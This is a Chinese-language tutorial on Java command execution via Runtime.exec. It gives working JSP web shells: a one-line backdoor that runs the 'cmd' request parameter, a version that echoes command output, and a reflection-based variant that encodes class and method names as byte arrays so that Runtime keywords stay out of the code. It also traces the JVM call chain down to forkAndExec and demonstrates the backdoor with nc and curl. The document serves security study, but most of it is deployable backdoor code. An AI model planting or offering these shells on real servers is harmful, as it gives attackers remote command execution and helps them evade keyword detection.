在Java中我们通常会使用java.lang.Runtime类的exec方法来执行本地系统命令。
Runtime命令执行测试
runtime-exec2.jsp执行cmd命令示例:**
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
- 本地nc监听9000端口:
nc -vv -l 9000 - 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我们可以在nc中看到已经成功的接收到了java执行了curl命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。

上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。
runtime-exec.jsp执行cmd命令示例:
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%><%--Created by IntelliJ IDEA.User: yzDate: 2019/12/5Time: 6:21 下午To change this template use File | Settings | File Templates.--%><%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page import="java.io.InputStream" %><%InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");%>
Runtime命令执行调用链
Runtime.exec(xxx)调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)java.lang.ProcessImpl.start(ProcessImpl.java:134)java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)java.lang.Runtime.exec(Runtime.java:620)java.lang.Runtime.exec(Runtime.java:450)java.lang.Runtime.exec(Runtime.java:347)org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:
Runtime.exec(xxx)java.lang.ProcessBuilder.start()new java.lang.UNIXProcess(xxx)UNIXProcess构造方法中调用了forkAndExec(xxx)native方法。forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcess的PID。
有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记Runtime和ProcessBuilder并不是程序的最终执行点!
反射Runtime命令执行
如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。
reflection-cmd.jsp示例代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.InputStream" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.util.Scanner" %><%String str = request.getParameter("str");// 定义"java.lang.Runtime"字符串变量String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});// 反射java.lang.Runtime类获取Class对象Class<?> c = Class.forName(rt);// 反射获取Runtime类的getRuntime方法Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));// 反射获取Runtime类的exec方法Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);// 反射调用Runtime.getRuntime().exec(xxx)方法Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});// 反射获取Process类的getInputStream方法Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));m.setAccessible(true);// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");String result = s.hasNext() ? s.next() : "";// 输出命令执行结果out.println(result);%>
命令参数是str,如:reflection-cmd.jsp?str=pwd,程序执行结果同上。
